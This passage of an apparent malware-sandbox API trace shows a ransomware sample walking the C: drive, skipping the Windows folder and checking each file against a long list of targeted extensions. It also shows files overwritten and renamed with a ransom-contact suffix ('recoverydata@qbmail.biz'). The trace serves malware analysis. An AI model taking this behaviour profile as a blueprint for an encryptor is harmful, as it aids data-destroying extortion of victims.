(in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0099.478] ReadFile (in: hFile=0x220, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.487] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0099.487] ReadFile (in: hFile=0x220, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.523] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0099.523] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0099.523] ReadFile (in: hFile=0x220, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0099.625] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.625] WriteFile (in: hFile=0x220, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0099.643] SetEndOfFile (hFile=0x220) returned 1 [0099.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0100.302] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0100.302] WriteFile (in: hFile=0x220, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0100.304] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0100.304] WriteFile (in: hFile=0x220, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0100.307] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0100.307] WriteFile (in: hFile=0x220, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0100.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0100.334] CloseHandle (hObject=0x220) returned 1 [0100.335] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0100.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.335] lstrlenW (lpString=".doc") returned 4 [0100.335] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.335] lstrlenW (lpString=".docx") returned 5 [0100.335] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0100.335] lstrlenW (lpString=".pdf") returned 4 [0100.335] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString=".xls") returned 4 [0100.336] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString=".xlsx") returned 5 [0100.336] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0100.336] lstrlenW (lpString=".ppt") returned 4 [0100.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.336] lstrlenW (lpString=".zip") returned 4 [0100.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString=".rar") returned 4 [0100.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString=".bz2") returned 4 [0100.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.336] lstrlenW (lpString=".7z") returned 3 [0100.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.336] lstrlenW (lpString=".dbf") returned 4 [0100.336] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.336] lstrlenW (lpString=".1cd") returned 4 [0100.336] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.336] lstrlenW (lpString=".jpg") returned 4 [0100.336] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.336] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.336] lstrlenW (lpString=".doc") returned 4 [0100.336] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString=".docx") returned 5 [0100.336] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0100.336] lstrlenW (lpString=".pdf") returned 4 [0100.337] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0100.337] lstrlenW (lpString=".xls") returned 4 [0100.337] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0100.337] lstrlenW (lpString=".xlsx") returned 5 [0100.337] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0100.337] lstrlenW (lpString=".ppt") returned 4 [0100.337] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0100.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.337] lstrlenW (lpString=".zip") returned 4 [0100.337] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0100.337] lstrlenW (lpString=".rar") returned 4 [0100.337] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0100.337] lstrlenW (lpString=".bz2") returned 4 [0100.337] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0100.337] lstrlenW (lpString=".7z") returned 3 [0100.337] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0100.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.337] lstrlenW (lpString=".dbf") returned 4 [0100.337] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0100.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.337] lstrlenW (lpString=".1cd") returned 4 [0100.337] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0100.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0100.337] lstrlenW (lpString=".jpg") returned 4 [0100.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0100.338] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0100.338] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0100.338] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 17 os_tid = 0x5ac [0073.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x38f0080 [0073.998] lstrlenW (lpString="C:") returned 2 [0073.998] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x340fd00 | out: lpFindFileData=0x340fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x603d60 [0073.999] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0073.999] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0073.999] lstrlenW (lpString="$Recycle.Bin") returned 12 [0073.999] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0073.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0073.999] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0073.999] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602fe8 [0074.000] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.000] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0074.000] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0074.000] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0074.000] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0074.000] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0074.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.001] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0074.001] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603028 [0074.001] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.001] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0074.001] lstrlenW (lpString="desktop.ini") returned 11 [0074.001] lstrlenW (lpString=".1cd") returned 4 [0074.001] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0074.001] lstrlenW (lpString=".3ds") returned 4 [0074.001] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0074.001] lstrlenW (lpString=".3fr") returned 4 [0074.001] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0074.001] lstrlenW (lpString=".3g2") returned 4 [0074.001] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0074.001] lstrlenW (lpString=".3gp") returned 4 [0074.002] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0074.002] lstrlenW (lpString=".7z") returned 3 [0074.002] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0074.002] lstrlenW (lpString=".accda") returned 6 [0074.002] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0074.002] lstrlenW (lpString=".accdb") returned 6 [0074.002] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0074.002] lstrlenW (lpString=".accdc") returned 6 [0074.002] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0074.002] lstrlenW (lpString=".accde") returned 6 [0074.002] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0074.002] lstrlenW (lpString=".accdt") returned 6 [0074.002] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0074.002] lstrlenW (lpString=".accdw") returned 6 [0074.002] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0074.002] lstrlenW (lpString=".adb") returned 4 [0074.002] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0074.002] lstrlenW (lpString=".adp") returned 4 [0074.002] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0074.002] lstrlenW (lpString=".ai") returned 3 [0074.002] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0074.002] lstrlenW (lpString=".ai3") returned 4 [0074.002] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0074.002] lstrlenW (lpString=".ai4") returned 4 [0074.002] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0074.002] lstrlenW (lpString=".ai5") returned 4 [0074.002] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".ai6") returned 4 [0074.003] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".ai7") returned 4 [0074.003] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".ai8") returned 4 [0074.003] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".anim") returned 5 [0074.003] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0074.003] lstrlenW (lpString=".arw") returned 4 [0074.003] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".as") returned 3 [0074.003] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0074.003] lstrlenW (lpString=".asa") returned 4 [0074.003] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".asc") returned 4 [0074.003] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".ascx") returned 5 [0074.003] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0074.003] lstrlenW (lpString=".asm") returned 4 [0074.003] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".asmx") returned 5 [0074.003] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0074.003] lstrlenW (lpString=".asp") returned 4 [0074.003] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0074.003] lstrlenW (lpString=".aspx") returned 5 [0074.003] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0074.003] lstrlenW (lpString=".asr") returned 4 [0074.004] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".asx") returned 4 [0074.004] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".avi") returned 4 [0074.004] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".avs") returned 4 [0074.004] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".backup") returned 7 [0074.004] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0074.004] lstrlenW (lpString=".bak") returned 4 [0074.004] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".bay") returned 4 [0074.004] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".bd") returned 3 [0074.004] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0074.004] lstrlenW (lpString=".bin") returned 4 [0074.004] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".bmp") returned 4 [0074.004] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".bz2") returned 4 [0074.004] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".c") returned 2 [0074.004] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0074.004] lstrlenW (lpString=".cdr") returned 4 [0074.004] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0074.004] lstrlenW (lpString=".cer") returned 4 [0074.004] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".cf") returned 3 [0074.005] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0074.005] lstrlenW (lpString=".cfc") returned 4 [0074.005] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".cfm") returned 4 [0074.005] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".cfml") returned 5 [0074.005] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0074.005] lstrlenW (lpString=".cfu") returned 4 [0074.005] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".chm") returned 4 [0074.005] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".cin") returned 4 [0074.005] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".class") returned 6 [0074.005] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0074.005] lstrlenW (lpString=".clx") returned 4 [0074.005] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".config") returned 7 [0074.005] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0074.005] lstrlenW (lpString=".cpp") returned 4 [0074.005] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".cr2") returned 4 [0074.005] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0074.005] lstrlenW (lpString=".crt") returned 4 [0074.005] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".crw") returned 4 [0074.006] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".cs") returned 3 [0074.006] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0074.006] lstrlenW (lpString=".css") returned 4 [0074.006] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".csv") returned 4 [0074.006] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".cub") returned 4 [0074.006] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".dae") returned 4 [0074.006] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".dat") returned 4 [0074.006] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".db") returned 3 [0074.006] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0074.006] lstrlenW (lpString=".dbf") returned 4 [0074.006] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".dbx") returned 4 [0074.006] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".dc3") returned 4 [0074.006] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".dcm") returned 4 [0074.006] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0074.006] lstrlenW (lpString=".dcr") returned 4 [0074.007] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".der") returned 4 [0074.007] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".dib") returned 4 [0074.007] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".dic") returned 4 [0074.007] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".dif") returned 4 [0074.007] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".divx") returned 5 [0074.007] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0074.007] lstrlenW (lpString=".djvu") returned 5 [0074.007] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0074.007] lstrlenW (lpString=".dng") returned 4 [0074.007] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".doc") returned 4 [0074.007] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".docm") returned 5 [0074.007] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0074.007] lstrlenW (lpString=".docx") returned 5 [0074.007] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0074.007] lstrlenW (lpString=".dot") returned 4 [0074.007] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0074.007] lstrlenW (lpString=".dotm") returned 5 [0074.008] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0074.008] lstrlenW (lpString=".dotx") returned 5 [0074.008] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0074.008] lstrlenW (lpString=".dpx") returned 4 [0074.008] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0074.008] lstrlenW (lpString=".dqy") returned 4 [0074.008] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0074.008] lstrlenW (lpString=".dsn") returned 4 [0074.008] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0074.008] lstrlenW (lpString=".dt") returned 3 [0074.008] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0074.008] lstrlenW (lpString=".dtd") returned 4 [0074.008] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0074.008] lstrlenW (lpString=".dwg") returned 4 [0074.008] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0074.008] lstrlenW (lpString=".dwt") returned 4 [0074.008] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0074.008] lstrlenW (lpString=".dx") returned 3 [0074.008] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0074.008] lstrlenW (lpString=".dxf") returned 4 [0074.008] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".edml") returned 5 [0074.009] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0074.009] lstrlenW (lpString=".efd") returned 4 [0074.009] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".elf") returned 4 [0074.009] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".emf") returned 4 [0074.009] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".emz") returned 4 [0074.009] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".epf") returned 4 [0074.009] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".eps") returned 4 [0074.009] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".epsf") returned 5 [0074.009] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0074.009] lstrlenW (lpString=".epsp") returned 5 [0074.009] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0074.009] lstrlenW (lpString=".erf") returned 4 [0074.009] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".exr") returned 4 [0074.009] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0074.009] lstrlenW (lpString=".f4v") returned 4 [0074.010] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".fido") returned 5 [0074.010] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0074.010] lstrlenW (lpString=".flm") returned 4 [0074.010] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".flv") returned 4 [0074.010] lstrcmpiW 